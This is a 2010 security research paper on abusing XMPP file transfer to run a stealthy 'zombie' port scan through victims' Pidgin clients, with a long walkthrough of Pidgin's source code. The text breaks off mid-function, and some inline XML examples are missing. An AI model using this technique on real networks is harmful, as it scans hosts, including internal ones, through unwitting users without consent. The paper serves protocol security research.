---- [ Abusing Network Protocols by ithilgore - ithilgore.ryu.l@gmail.com sock-raw.org 5 May 2010 Version: 1.0 ---[ Contents 1 - Introduction 2 - XMPP 2.1 File Transfer - a. Session Initiation Protocol - b. Jingle 2.2 A new "zombie" portscanning attack - a. Pidgin analysis - b. PoC evil patch - c. Real-world demonstration - d. Attack automation 2.3 XMPP & DNS 3 - DoS attacks revised 3.1 XMPP zombie proxy attack 3.2 TCP Persist Timer attack 3.3 DNSSEC attack 4 - Conclusion 5 - References 1. Introduction ================ This document will focus on the area of exploiting inherent protocol flaws. By inherent we mean that the vulnerabilities are mostly independent of specific implementations and thus ubiquitous, since the design of the protocol itself is flawed. As a result, network protocol flaws affect a multitude of systems and are not as easily fixed as simple implementation bugs. The paper will mainly revolve around the relatively new XMPP (Extensible Messaging and Presence Protocol) that has gained quite some large popularity lately. Cisco has acquired Jabber Inc (creators of first commercial XMPP product), Google Talk is based on it, Facebook Chat provides an interface to it and a lot of IM clients now support it. Being an emerging and most-promising technology, makes it important to address some of the security issues that are implied by its widesperad use. We are also going to analyse how other network protocols that interact with each other and XMPP, can be used as attacking vectors resulting in some chain-reaction form of exploitation. Denial of Service attacks, performed by leveraging different network protocols, will be briefly discussed in that second part of our text. 2. XMPP ======== XMPP, the Extensible Messaging and Presence Protocol is an open standard using the Extensible Markup Language (XML) as the base format for exchanging information in real-time instant messaging as well as message-oriented middleware applications. It is based on a decentralized architecture with a direct federation model for inter-domain connections. Essentially, this means that a XMPP client communicates with its assigned home XMPP server and it in turn communicates directly with the home server of the client to which we want to pass the message to. XMPP client <------> XMPP server ^ | | v XMPP client <------> XMPP server The communication between client and server happens over a long-lived TCP connection. Anyone can run their own XMPP server, but becoming part of the official XMPP federation network requires approval in order to avoid cases of rogue servers. XMPP has 3 communication primitives (also called XML stanzas): messages, presence and IQ. Messages are used as a quick "fire-and-forget" transport that mostly applies to human-readable text, alerts and notifications. Presence is used for advertising the network availability to other entities that you have authorized through a publish-subscribe mechanism. IQ (Info/Query) stanza are used as a reliable transport for structured exchange of (usually non-human-readable) data mostly pertaining to control, error reporting, configuration and similar things. The XMPP Standards Foundation (XSF) develops and publishes extensions to XMPP through a standards process centered on XMPP Extension Protocols (XEPs) and a great source of information about them and XMPP in general can be found at their official site [1]. ---- [ 2.1 File Transfer XMPP is optimized for exchanging many small snippets of data (XML) and thus mechanisms for transporting heavy media streams are more complicated. XMPP has 2 main ways of file transfer negotiation: Session Initiation and Jingle. The former was the first attempt of the XMPP community at defining a generalized media negotiation technology, while Jingle is considered the more contemporary and advanced solution. ------ [ 2.1 a. Session Initiation Protocol According to the Session Initiation Protocol, the sender of the file initially transmits an IQ stanza containing the definition of the data to be exchanged ( We can see the two available transport methods (bytestreams and ibb) advertised inside the stanza. Then, normally, the user is shown the typical dialogue box where he chooses to accept the file or not. If he does, then the client gets to decide which method he prefers. By default, pidgin first tries bytestreams but it is also the default behaviour for most clients to try each of the methods by the same order they were advertised. So our receiver, now sends its reply to client 1. http://jabber.org/protocol/bytestreams Client1 now sends the proxy list pairs (IP address and TCP port) inside an IQ stanza. Pidgin places the host's own IP address along with a randomly chosen high port as the first proxy choice. Then client 2 (receiver) will try and connect back to that IP address and port and if everything goes well it will start receiving the file. The session finishes with a final IQ indicating that the streamhost was indeed used. If client 2 isn't able to connect back to any of the proxies in the list, then it will reply with an error IQ stanza mentioning "remote-server-not-found". The two parties will then try and use in-band bytestreams. You can read more details on the Session Initiation protocol in XEP-0095 [2] and XEP-0096 [3]. ------ [ 2.1 b. Jingle Jingle was originally defined for setting up voice and video sessions in a way that XMPP is used as the signaling channel. The media data are exchanged through a second out-of-band channel which is set up, managed and terminated by XMPP through the Jingle model. As far as file transfer is concerned, Jingle works pretty much the same way as SI. The main difference is that the XML stanzas use the Jingle namespace which is supposed to be more modern and extensible [4]. However, the procedure is essentially the same: the client will send a description of the file to be transferred and it will first try to use the SOCKS5 Bytestreams protocol falling back to IBB if that fails. You can read more details about it at [5]. ---- [ 2.2 A new "zombie" portscanning attack In this section, we are going to demonstrate how XMPP can be exploited to perform a new and completely stealthy portscanning attack. How is portscanning even related with a protocol such as XMPP? Normally, it isn't but this is where the fun begins. Our technique takes advantage of the fact that we as senders of a file have _total_ control over the IP address and TCP port that the file receiver will try connecting to as indicated by the proxy list when using the SOCKS5 Bytestreams protocol. Let's now elaborate on this a bit. We mentioned above that when the receiver accepts the file transfer request, it will be shown with a list of proxy hosts that the sender provides him with in that IQ stanza. Then the receiver will try connecting to each of them on the corresponding port. If all of the connections fail, then it will return an error of "remote-server-not-found". Of course, the receiver will try establishing the SOCKS5 protocol after making a successful connection to one of them. However, if a server doesn't really have a proxy daemon listening on that port it will immediately terminate the connection with an RST. If the port is filtered, then our receiver will have to wait until the connection times out. That time can vary: the client may have a self-imposed time limit on this or it can wait until TCP itself notifies him (which normally takes much longer). By now, you must have already understood where this is going. By calculating the time delay until our victim zombie receiver sends us the "remote-server-not-found" error message, we can deduce whether the port of virtually any host is open or filtered. We get to choose the port as well as the IP address so this means we can even scan _internal_ (behind NAT or firewalls) hosts. Here is an illustration of our technique: Attacker ---- file request --> XMPP victim | | | <--- accept --------- | | | | ---- host1/port1 --> | | | | | ----- host1/port1 ----> Scanned Host1 | | | | | port 1 filtered | | (timeout) | | < --- error (delay1)- | | | | | | ---- file request --> | | | | | | <--- accept --------- | | | | | | ---- host1/port2 --> | | | | ----- host1/port2 ----> | | | port 2 open | | < --- RST (no SOCKS5) -- | | < --- error (delay2)- | | | | | ... | | ---- (hostN/portN) --> | ... where delay1 > delay2. The time difference is more than enough to be able to discern an open port from a filtered one. Pidgin by defaut times out after 20 seconds (TCP would wait much longer until it notified userspace of the connection timeout), while the time needed for the connection establishment and SOCKS5 denial of the victim host will not usually take more than 2-3 seconds. We can extend the attack even further and be able to understand whether a port is either open or closed. This can be achieved since, when the port is closed, the scanned target will immediately reply with a RST packet (delay3). On the other hand the zombie host and the target will have to exchange at least 4 packets when the port is open. 3 packets are needed for the TCP handshake and 1 for RST and that's only when the SOCKS5 establishment request is piggybacked in the victim's final ACK of the handshake. That packet might come as a separate one after the TCP establishment so that would make it 5 packets in total. What this means, is that the time required will be much more than that of the trivial case of just getting a RST after sending the initial SYN (when the port is closed). Thus we have: delay1 (filtered port) > delay2 (open port) > delay3 (closed port) Nevertheless note that the time difference between delay2 and delay3 is more subtle than that of delay1 and delay2 and thus it might not always be as accurate. There is a catch here however for some cases. Some services, notably Web servers that usually hold a connection open (HTTP 1.1 -> persistent connections and pipelining), will not terminate the session even after receiving a SOCKS5 CONNECT request. They will just ignore that message and wait for more requests from the client. As a result, scanning for ports like 80/443 or other services with similar behaviour (not many hopefully), will not produce accurate results. For these kinds of services, it will be impossible to differentiate between an open and filtered port, since both types of responses will delay the exact same amount of time. The attack can be parallelized to many hosts at the same time or many ports of the same host since every file transfer session has its own unique IDs. To achieve maximum speed, we can use more than one XMPP "zombie" victims to carry out our attack. This is pretty easy, if you take into consideration the fact that you can have as many victims as the number of contacts in your XMPP roster. As we shall see in the next section, our attacker can leverage other traits of XMPP to easily add unsuspected victims to his "friend" list. ------ [ 2.2 a. Pidgin analysis We are going to walk through the relevant parts of the Pidgin source code and see how our portscanning attack unfolds in the real world. We are going to show how a patch of a few lines of additional code on the attacker's client, can exploit this XMPP design flaw. We are going to start from the sender's side and see what happens when our XMPP user wants to send a file to a contact of his. Everything starts with the function jabber_si_xfer_send() that has been previously registered through a PurplePluginProtocolInfo struct at libxmpp.c: pidgin-2.6.6/libpurple/protocols/jabber/libxmpp.c: /---------------------------------------------------------------------\ static PurplePluginProtocolInfo prpl_info = { ... jabber_can_receive_file, /* can_receive_file */ jabber_si_xfer_send, /* send_file */ jabber_si_new_xfer, /* new_xfer */ ... }; \---------------------------------------------------------------------/ This means that jabber_si_xfer_send() is called whenever we send a file. It resides at si.c pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ void jabber_si_xfer_send(PurpleConnection *gc, const char *who, const char *file) { JabberStream *js; PurpleXfer *xfer; js = gc->proto_data; xfer = jabber_si_new_xfer(gc, who); if (file) purple_xfer_request_accepted(xfer, file); else purple_xfer_request(xfer); } \---------------------------------------------------------------------/ PurpleXfer is a generic Pidgin-internal struct that holds all information related to a file-transfer session. It is defined at pidgin-2.6.6/libpurple/ft.h jabber_si_new_xfer() fills the initial info on this struct. pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ PurpleXfer *jabber_si_new_xfer(PurpleConnection *gc, const char *who) { JabberStream *js; PurpleXfer *xfer; JabberSIXfer *jsx; js = gc->proto_data; xfer = purple_xfer_new(gc->account, PURPLE_XFER_SEND, who); if (xfer) { xfer->data = jsx = g_new0(JabberSIXfer, 1); jsx->js = js; jsx->local_streamhost_fd = -1; jsx->ibb_session = NULL; purple_xfer_set_init_fnc(xfer, jabber_si_xfer_init); purple_xfer_set_cancel_send_fnc(xfer, jabber_si_xfer_cancel_send); purple_xfer_set_end_fnc(xfer, jabber_si_xfer_end); js->file_transfers = g_list_append(js->file_transfers, xfer); } return xfer; } \---------------------------------------------------------------------/ The important parts here are the creation of the xfer struct by purple_xfer_new() defined at libpurple/ft.c and the registration of the callback handlers for initiating, cancelling and ending the file-transfer. purple_xfer_set_init_fnc(), defined at libpurple/ft.c, does that registration by setting the relevant function pointer to the PurpleXfer's operation (ops) struct. pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ void purple_xfer_set_init_fnc(PurpleXfer *xfer, void (*fnc)(PurpleXfer *)) { g_return_if_fail(xfer != NULL); xfer->ops.init = fnc; } \---------------------------------------------------------------------/ Since the file hasn't been yet chosen by the user, jabber_si_xfer_send() calls purple_xfer_request() falling in the 'else' case. pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ void purple_xfer_request(PurpleXfer *xfer) { g_return_if_fail(xfer != NULL); g_return_if_fail(xfer->ops.init != NULL); purple_xfer_ref(xfer); if (purple_xfer_get_type(xfer) == PURPLE_XFER_RECEIVE) { ... } else { purple_xfer_choose_file(xfer); } } \---------------------------------------------------------------------/ Our file-transfer type is PURPLE_XFER_SEND (we are the sender) so we fall on the 'else' case and purple_xfer_choose_file() is called. pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ static int purple_xfer_choose_file(PurpleXfer *xfer) { purple_request_file(xfer, NULL, purple_xfer_get_filename(xfer), (purple_xfer_get_type(xfer) == PURPLE_XFER_RECEIVE), G_CALLBACK(purple_xfer_choose_file_ok_cb), G_CALLBACK(purple_xfer_choose_file_cancel_cb), purple_xfer_get_account(xfer), xfer->who, NULL, xfer); return 0; } \---------------------------------------------------------------------/ This in turn calls purple_request_file() which displays a file selector dialogue. purple_xfer_choose_file_ok_cb(), defined at ft.c, is the callback for the 'OK' button. If everything goes well and the user selects a proper file, purple_xfer_choose_file_ok_cb() will call purple_xfer_request_accepted(). This is when the "Offering to send to " will appear on the dialogue box by calling purpel_xfer_conversation_write(). pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ void purple_xfer_request_accepted(PurpleXfer *xfer, const char *filename) { ... if (type == PURPLE_XFER_SEND) { /* Sending a file */ /* Check the filename. */ ... msg = g_strdup_printf(_("Offering to send %s to %s"), utf8, buddy ? purple_buddy_get_alias(buddy) : xfer->who); g_free(utf8); purple_xfer_conversation_write(xfer, msg, FALSE); g_free(msg); } else { /* Receiving a file */ ... } purple_xfer_add(xfer); xfer->ops.init(xfer); } \---------------------------------------------------------------------/ Now remember that xfer->ops.init() had jabber_si_xfer_init() registered, so that's going to be called next. This essentially ends the generic file-transfer procedure and starts the XMPP-specific Session Initiation protocol. Let's see a call-graph of what happened so far: ------------------------------------------------------------------- jabber_si_xfer_send() @ si.c ---> jabber_si_new_xfer() @ si.c ---> purple_xfer_new() @ libpurple/ft.c ---> purple_xfer_set_init_fnc(xfer, jabber_si_xfer_init); ---> purple_xfer_request() @ libpurple/ft.c ---> purple_xfer_choose_file() @ libpurple/ft.c ---> purple_xfer_choose_file_ok_cb() @ libpurple/ft.c ---> purple_xfer_request_accepted @ libpurple/ft.c ---> ("offering to send" msg) ---> purple_xfer_conversation_write() @ libpurple/ft.c ---> purple_conversation_write() @ libpurple/conversation.c ---> jabber_si_xfer_init() [xfer->ops.init(xfer)] ------------------------------------------------------------------- jabber_si_xfer_init() (at si.c) will then call do_transfer_send() which calls jabber_si_xfer_send_request(), all defined in the same file. This function is responsible for filling in and sending the first file-transfer related message to our peer, which according to the Session Initiation protocol description analyzed above is an IQ stanza mentioning the file name and the available transport methods. jabber_iq_set_callback() registers the callback handler that is going to be called when we receive the answer of our peer and that will be jabber_si_xfer_send_method_cb(). jabber_iq_send() then writes the IQ stanza on the wire by invoking the appropriate helper functions. pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ static void jabber_si_xfer_send_request(PurpleXfer *xfer) { JabberSIXfer *jsx = xfer->data; JabberIq *iq; xmlnode *si, *file, *feature, *x, *field, *option, *value; char buf[32]; xfer->filename = g_path_get_basename(xfer->local_filename); iq = jabber_iq_new(jsx->js, JABBER_IQ_SET); xmlnode_set_attrib(iq->node, "to", xfer->who); si = xmlnode_new_child(iq->node, "si"); xmlnode_set_namespace(si, "http://jabber.org/protocol/si"); jsx->stream_id = jabber_get_next_id(jsx->js); xmlnode_set_attrib(si, "id", jsx->stream_id); xmlnode_set_attrib(si, "profile", "http://jabber.org/protocol/si/profile/file-transfer"); file = xmlnode_new_child(si, "file"); xmlnode_set_namespace(file, "http://jabber.org/protocol/si/profile/file-transfer"); xmlnode_set_attrib(file, "name", xfer->filename); g_snprintf(buf, sizeof(buf), "%" G_GSIZE_FORMAT, xfer->size); xmlnode_set_attrib(file, "size", buf); /* maybe later we'll do hash and date attribs */ feature = xmlnode_new_child(si, "feature"); xmlnode_set_namespace(feature, "http://jabber.org/protocol/feature-neg"); x = xmlnode_new_child(feature, "x"); xmlnode_set_namespace(x, "jabber:x:data"); xmlnode_set_attrib(x, "type", "form"); field = xmlnode_new_child(x, "field"); xmlnode_set_attrib(field, "var", "stream-method"); xmlnode_set_attrib(field, "type", "list-single"); /* maybe we should add an option to always skip bytestreams for people behind troublesome firewalls */ option = xmlnode_new_child(field, "option"); value = xmlnode_new_child(option, "value"); xmlnode_insert_data(value, NS_BYTESTREAMS, -1); option = xmlnode_new_child(field, "option"); value = xmlnode_new_child(option, "value"); xmlnode_insert_data(value, NS_IBB, -1); jabber_iq_set_callback(iq, jabber_si_xfer_send_method_cb, xfer); /* Store the IQ id so that we can cancel the callback */ g_free(jsx->iq_id); jsx->iq_id = g_strdup(iq->id); jabber_iq_send(iq); } \---------------------------------------------------------------------/ Now let's switch sides and see what happens on the receiver. When we get that IQ stanza, we must first parse it with the help of jabber_si_parse() that has been previously registered by jabber_si_init(): pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ void jabber_si_init(void) { jabber_iq_register_handler("si", "http://jabber.org/protocol/si", jabber_si_parse); jabber_ibb_register_open_handler(jabber_si_xfer_ibb_open_cb); } \---------------------------------------------------------------------/ jabber_si_parse() will check the IQ stanza for possible errors and supposing nothing goes wrong, it is going to invoke purple_xfer_request(). pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ void jabber_si_parse(JabberStream *js, const char *from, JabberIqType type, const char *id, xmlnode *si) { ... if(!(profile = xmlnode_get_attrib(si, "profile")) || strcmp(profile, "http://jabber.org/protocol/si/profile/file-transfer")) return; if(!(stream_id = xmlnode_get_attrib(si, "id"))) return; ... purple_xfer_request(xfer); } \---------------------------------------------------------------------/ purple_xfer_request() will now fall on the PURPLE_XFER_RECEIVE case. The message " is offering to send file " is going to appear in the dialogue box and purple_xfer_ask_recv() is going to subsequently be called. pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ void purple_xfer_request(PurpleXfer *xfer) { g_return_if_fail(xfer != NULL); g_return_if_fail(xfer->ops.init != NULL); purple_xfer_ref(xfer); if (purple_xfer_get_type(xfer) == PURPLE_XFER_RECEIVE) { purple_signal_emit(purple_xfers_get_handle(), "file-recv-request", xfer); if (purple_xfer_get_status(xfer) == PURPLE_XFER_STATUS_CANCEL_LOCAL) { /* The file-transfer was cancelled by a plugin */ purple_xfer_cancel_local(xfer); } else if (purple_xfer_get_filename(xfer) || purple_xfer_get_status(xfer) == PURPLE_XFER_STATUS_ACCEPTED) { gchar* message = NULL; PurpleBuddy *buddy = purple_find_buddy(xfer->account, xfer->who); message = g_strdup_printf(_("%s is offering to send file %s"), buddy ? purple_buddy_get_alias(buddy) : xfer->who, purple_xfer_get_filename(xfer)); purple_xfer_conversation_write(xfer, message, FALSE); g_free(message); /* Ask for a filename to save to if it's not already given by a plugin */ if (xfer->local_filename == NULL) purple_xfer_ask_recv(xfer); } else { purple_xfer_ask_accept(xfer); } } else { purple_xfer_choose_file(xfer); } } \---------------------------------------------------------------------/ purple_xfer_ask_recv() then calls purple_xfer_choose_file() which we had previously inspected on the sender's side. Following the same pattern with above, choose_file_ok_cb() will be called and then purple_xfer_request_accepted(). It's xfer->ops.init(xfer) turn to invoke jabber_si_xfer_init() which will now fall on the 'else' case (since the xfer type is PURPLE_XFER_RECEIVE): pidgin-2.6.6/libpurple/ft.c: /---------------------------------------------------------------------\ static void jabber_si_xfer_init(PurpleXfer *xfer) { JabberSIXfer *jsx = xfer->data; JabberIq *iq; if(purple_xfer_get_type(xfer) == PURPLE_XFER_SEND) { JabberBuddy *jb; ... } else { xmlnode *si, *feature, *x, *field, *value; iq = jabber_iq_new(jsx->js, JABBER_IQ_RESULT); xmlnode_set_attrib(iq->node, "to", xfer->who); if(jsx->iq_id) jabber_iq_set_id(iq, jsx->iq_id); else purple_debug_error("jabber", "Sending SI result with new IQ id.\n"); jsx->accepted = TRUE; si = xmlnode_new_child(iq->node, "si"); xmlnode_set_namespace(si, "http://jabber.org/protocol/si"); feature = xmlnode_new_child(si, "feature"); xmlnode_set_namespace(feature, "http://jabber.org/protocol/feature-neg"); x = xmlnode_new_child(feature, "x"); xmlnode_set_namespace(x, "jabber:x:data"); xmlnode_set_attrib(x, "type", "submit"); field = xmlnode_new_child(x, "field"); xmlnode_set_attrib(field, "var", "stream-method"); /* we should maybe "remember" if bytestreams has failed before (in the same session) with this JID, and only present IBB as an option to avoid unnessesary timeout */ /* maybe we should have an account option to always just try IBB for people who know their firewalls are very restrictive */ if (jsx->stream_method & STREAM_METHOD_BYTESTREAMS) { value = xmlnode_new_child(field, "value"); xmlnode_insert_data(value, NS_BYTESTREAMS, -1); } else if(jsx->stream_method & STREAM_METHOD_IBB) { value = xmlnode_new_child(field, "value"); xmlnode_insert_data(value, NS_IBB, -1); } jabber_iq_send(iq); } } \---------------------------------------------------------------------/ It's important to observe here (and we have noted that in our SI protocol presentation above) that Pidgin first checks if the SOCKS5 Bytestreams method is available and prefers that by default, if both options are available. It constructs the appropriate IQ 'result' stanza and sends it to the peer with jabber_iq_send(). This is the 2nd message on the wire in the whole session so far. Let's switch sides once again and see what will happen with our sender now. We noted above that the registered callback handler for the reply that we are going to get is jabber_si_xfer_send_method_cb(). pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ static void jabber_si_xfer_send_method_cb(JabberStream *js, const char *from, JabberIqType type, const char *id, xmlnode *packet, gpointer data) { PurpleXfer *xfer = data; xmlnode *si, *feature, *x, *field, *value; gboolean found_method = FALSE; if(!(si = xmlnode_get_child_with_namespace(packet, "si", "http://jabber.org/protocol/si"))) { purple_xfer_cancel_remote(xfer); return; } if(!(feature = xmlnode_get_child_with_namespace(si, "feature", "http://jabber.org/protocol/feature-neg"))) { purple_xfer_cancel_remote(xfer); return; } if(!(x = xmlnode_get_child_with_namespace(feature, "x", "jabber:x:data"))) { purple_xfer_cancel_remote(xfer); return; } for(field = xmlnode_get_child(x, "field"); field; field = xmlnode_get_next_twin(field)) { const char *var = xmlnode_get_attrib(field, "var"); JabberSIXfer *jsx = (JabberSIXfer *) xfer->data; if(var && !strcmp(var, "stream-method")) { if((value = xmlnode_get_child(field, "value"))) { char *val = xmlnode_get_data(value); if(val && !strcmp(val, NS_BYTESTREAMS)) { jabber_si_xfer_bytestreams_send_init(xfer); jsx->stream_method |= STREAM_METHOD_BYTESTREAMS; found_method = TRUE; } else if (val && !strcmp(val, NS_IBB)) { jsx->stream_method |= STREAM_METHOD_IBB; if (!found_method) { /* we haven't tried to init a bytestream session, yet start IBB right away... */ jabber_si_xfer_ibb_send_init(js, xfer); found_method = TRUE; } } g_free(val); } } } if (!found_method) { purple_xfer_cancel_remote(xfer); } } \---------------------------------------------------------------------/ This function basically checks that the IQ 'result' stanza, which we got as a reply from our peer, isn't malformed by making sure the proper XML elements are there. Then it starts parsing the 'field' elements looking for appropriate 'stream-method' values (bytestreams or ibb). Assuming the message has the bytestreams method as preference (which always seems to be the first default case), jabber_si_xfer_bytestreams_send_init() will be invoked. pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ static void jabber_si_xfer_bytestreams_send_init(PurpleXfer *xfer) { JabberSIXfer *jsx; purple_xfer_ref(xfer); jsx = xfer->data; /* TODO: Should there be an option to not use the local host as a ft proxy? * (to prevent revealing IP address, etc.) */ jsx->listen_data = purple_network_listen_range(0, 0, SOCK_STREAM, jabber_si_xfer_bytestreams_listen_cb, xfer); if (jsx->listen_data == NULL) { /* We couldn't open a local port. Perhaps we can use a proxy. */ jabber_si_xfer_bytestreams_listen_cb(-1, xfer); } } \---------------------------------------------------------------------/ As we mentioned before, Pidgin prefers to put the host's own IP address with a random high port, in the proxy list as a first choice. In any case, jabber_si_xfer_bytestreams_listen_cb() will be called. pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ static void jabber_si_xfer_bytestreams_listen_cb(int sock, gpointer data) { ... for (tmp = jsx->js->bs_proxies; tmp; tmp = tmp->next) { sh = tmp->data; /* TODO: deal with zeroconf proxies */ if (!(sh->jid && sh->host && sh->port > 0)) continue; purple_debug_info("jabber", "jabber_si_xfer_bytestreams_listen_cb() will" "be looking at jsx %p: jsx->streamhosts %p and sh->jid %p\n", jsx, jsx->streamhosts, sh->jid); if(g_list_find_custom(jsx->streamhosts, sh->jid, jabber_si_compare_jid) != NULL) continue; streamhost_count++; streamhost = xmlnode_new_child(query, "streamhost"); xmlnode_set_attrib(streamhost, "jid", sh->jid); xmlnode_set_attrib(streamhost, "host", sh->host); g_snprintf(port, sizeof(port), "%hu", sh->port); xmlnode_set_attrib(streamhost, "port", port); sh2 = g_new0(JabberBytestreamsStreamhost, 1); sh2->jid = g_strdup(sh->jid); sh2->host = g_strdup(sh->host); /*sh2->zeroconf = g_strdup(sh->zeroconf);*/ sh2->port = sh->port; jsx->streamhosts = g_list_prepend(jsx->streamhosts, sh2); } ... jabber_iq_set_callback(iq, jabber_si_connect_proxy_cb, xfer); jabber_iq_send(iq); } \---------------------------------------------------------------------/ This is a pretty important function, since its responsibility is to actually write the proxy list that is going to be sent through the IQ stanza. We are going to come back to it later when we discuss about the patch for the zombie portscanning technique. When the pairs (IP address/TCP port) are filled in, the message is sent to our peer through jabber_iq_send(). On the receiver's side once again: Upon getting the new IQ stanza, jabber_process_packet() (jabber.c) will call jabber_iq_parse() which, as the name implies, parses the message and looks up the associated handlers for each type. The default handler for bytestreams has already been registered from the time the jabber module is instantiated where jabber_iq_init() is invoked: pidgin-2.6.6/libpurple/protocols/jabber/iq.c: /---------------------------------------------------------------------\ void jabber_iq_init(void) { iq_handlers = g_hash_table_new_full(g_str_hash, g_str_equal, g_free, NULL); signal_iq_handlers = g_hash_table_new_full(g_str_hash, g_str_equal, g_free, NULL); jabber_iq_register_handler("jingle", JINGLE, jingle_parse); jabber_iq_register_handler("mailbox", NS_GOOGLE_MAIL_NOTIFY, jabber_gmail_poke); jabber_iq_register_handler("new-mail", NS_GOOGLE_MAIL_NOTIFY, jabber_gmail_poke); jabber_iq_register_handler("ping", NS_PING, jabber_ping_parse); jabber_iq_register_handler("query", NS_GOOGLE_JINGLE_INFO, jabber_google_handle_jingle_info); jabber_iq_register_handler("query", NS_BYTESTREAMS, jabber_bytestreams_parse); ... \---------------------------------------------------------------------/ The message is of JABBER_IQ_SET type, so the predefined handler jabber_bytestreams_parse() will be called by the function pointer jih in jabber_iq_parse()'s main body: pidgin-2.6.6/libpurple/protocols/jabber/iq.c: /---------------------------------------------------------------------\ void jabber_iq_parse(JabberStream *js, xmlnode *packet) { ... /* * Apparently not, so let's see if we have a pre-defined handler * or if an outside plugin is interested. */ if(child && (xmlns = xmlnode_get_namespace(child))) { char *key = g_strdup_printf("%s %s", child->name, xmlns); JabberIqHandler *jih = g_hash_table_lookup(iq_handlers, key); int signal_ref = GPOINTER_TO_INT(g_hash_table_lookup(signal_iq_handlers, key)); g_free(key); if (signal_ref > 0) { signal_return = GPOINTER_TO_INT( purple_signal_emit_return_1(purple_connection_get_prpl(js->gc), "jabber-watched-iq", js->gc, iq_type, id, from, child)); if (signal_return) return; } if(jih) { jih(js, from, type, id, child); return; } } ... } \---------------------------------------------------------------------/ jabber_bytestreams_parse() initially makes some routine checks about the validity of the message, and then goes on to gather all proxy hosts and put them on a list. Notice that there is no hardcoded limit on how many hosts it can take; this is interesting for another thing discussed later. After the list is ready, it finishes by calling jabber_si_bytestreams_attempt_connect(). pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ void jabber_bytestreams_parse(JabberStream *js, const char *from, JabberIqType type, const char *id, xmlnode *query) { PurpleXfer *xfer; JabberSIXfer *jsx; xmlnode *streamhost; const char *sid; if(type != JABBER_IQ_SET) return; if(!from) return; if(!(sid = xmlnode_get_attrib(query, "sid"))) return; if(!(xfer = jabber_si_xfer_find(js, sid, from))) return; jsx = xfer->data; if(!jsx->accepted) return; if(jsx->iq_id) g_free(jsx->iq_id); jsx->iq_id = g_strdup(id); for(streamhost = xmlnode_get_child(query, "streamhost"); streamhost; streamhost = xmlnode_get_next_twin(streamhost)) { const char *jid, *host = NULL, *port, *zeroconf; int portnum = 0; if((jid = xmlnode_get_attrib(streamhost, "jid")) && ((zeroconf = xmlnode_get_attrib(streamhost, "zeroconf")) || ((host = xmlnode_get_attrib(streamhost, "host")) && (port = xmlnode_get_attrib(streamhost, "port")) && (portnum = atoi(port))))) { JabberBytestreamsStreamhost *sh = g_new0(JabberBytestreamsStreamhost, 1); sh->jid = g_strdup(jid); sh->host = g_strdup(host); sh->port = portnum; sh->zeroconf = g_strdup(zeroconf); /* If there were a lot of these, it'd be worthwhile to prepend and reverse. */ jsx->streamhosts = g_list_append(jsx->streamhosts, sh); } } jabber_si_bytestreams_attempt_connect(xfer); } \---------------------------------------------------------------------/ Now this function really deserves our attention, since it encompasses the process of actually trying to connect to each of the proxies mentioned in the IQ stanza received. Instead of using a loop to traverse the list, the developers preferred tail recursion, as you can see by the jabber_si_bytestreams_attempt_connect() in the end of the function's body. If there is no proxy left on the list, then an IQ error stanza with message "item-not-found" is sent. That's the same message we mentioned before as "remote server not found". If the In-Band Bytestreams method was included in the stanza before, then that's used as a fallback method. The next point of interest is the invocation of purple_proxy_connect_socks5(). Notice that a SHA1 hash is made from the sum of "SID", "from JID" and "to JID". That is going to be normally used *after* the host has authenticated with the proxy, which means *after* having made a connection to it. This implies that for our purpose, we don't really care what values these variables are going to have. The actual hostname/IP address and port reside in jsx->gpi. It's also imperative that we mention that since these connection attempts are done asynchronously, there is a STREAMHOST_CONNECT_TIMEOUT (defined with a value of 15 inside si.c) delay until pidgin gives up trying to connect to an unresponsive host. In our case, this is delay1 according to what we said in section '2.2 - A new "zombie" portscanning attack'. pidgin-2.6.6/libpurple/protocols/jabber/si.c: /---------------------------------------------------------------------\ static void jabber_si_bytestreams_attempt_connect(PurpleXfer *xfer) { JabberSIXfer *jsx = xfer->data; JabberBytestreamsStreamhost *streamhost; JabberID *dstjid; if(!jsx->streamhosts) { JabberIq *iq = jabber_iq_new(jsx->js, JABBER_IQ_ERROR); xmlnode *error, *inf; if(jsx->iq_id) jabber_iq_set_id(iq, jsx->iq_id); xmlnode_set_attrib(iq->node, "to", xfer->who); error = xmlnode_new_child(iq->node, "error"); xmlnode_set_attrib(error, "code", "404"); xmlnode_set_attrib(error, "type", "cancel"); inf = xmlnode_new_child(error, "item-not-found"); xmlnode_set_namespace(inf, NS_XMPP_STANZAS); jabber_iq_send(iq); /* if IBB is available, revert to that before giving up... */ if (jsx->stream_method & STREAM_METHOD_IBB) { /* if we are the initializer, init IBB */ purple_debug_info("jabber", "jabber_si_bytestreams_attempt_connect: " "no streamhosts found, trying IBB\n"); /* if we are the sender, open an IBB session, but not if we already did it, since we could have received the error from the receiver already... */ if (purple_xfer_get_type(xfer) == PURPLE_XFER_SEND && !jsx->ibb_session) { jabber_si_xfer_ibb_send_init(jsx->js, xfer); } else { /* setup a timeout to cancel waiting for IBB open */ jsx->ibb_timeout_handle = purple_timeout_add_seconds(30, jabber_si_bytestreams_ibb_timeout_cb, xfer); } /* if we are the receiver, just wait for IBB open, callback is already set up... */ } else { purple_xfer_cancel_local(xfer); } return; } streamhost = jsx->streamhosts->data; jsx->connect_data = NULL; if (jsx->gpi != NULL) purple_proxy_info_destroy(jsx->gpi); jsx->gpi = NULL; dstjid = jabber_id_new(xfer->who); /* TODO: Deal with zeroconf */ if(dstjid != NULL && streamhost->host && streamhost->port > 0) { char *dstaddr, *hash; jsx->gpi = purple_proxy_info_new(); purple_proxy_info_set_type(jsx->gpi, PURPLE_PROXY_SOCKS5); purple_proxy_info_set_host(jsx->gpi, streamhost->host); 